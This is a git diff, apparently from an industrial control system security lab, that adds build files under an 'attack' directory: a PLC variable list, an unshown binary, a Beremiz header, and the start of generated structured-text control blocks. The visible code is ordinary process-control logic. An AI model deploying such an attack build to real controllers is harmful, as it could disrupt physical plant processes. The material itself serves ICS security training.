+321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 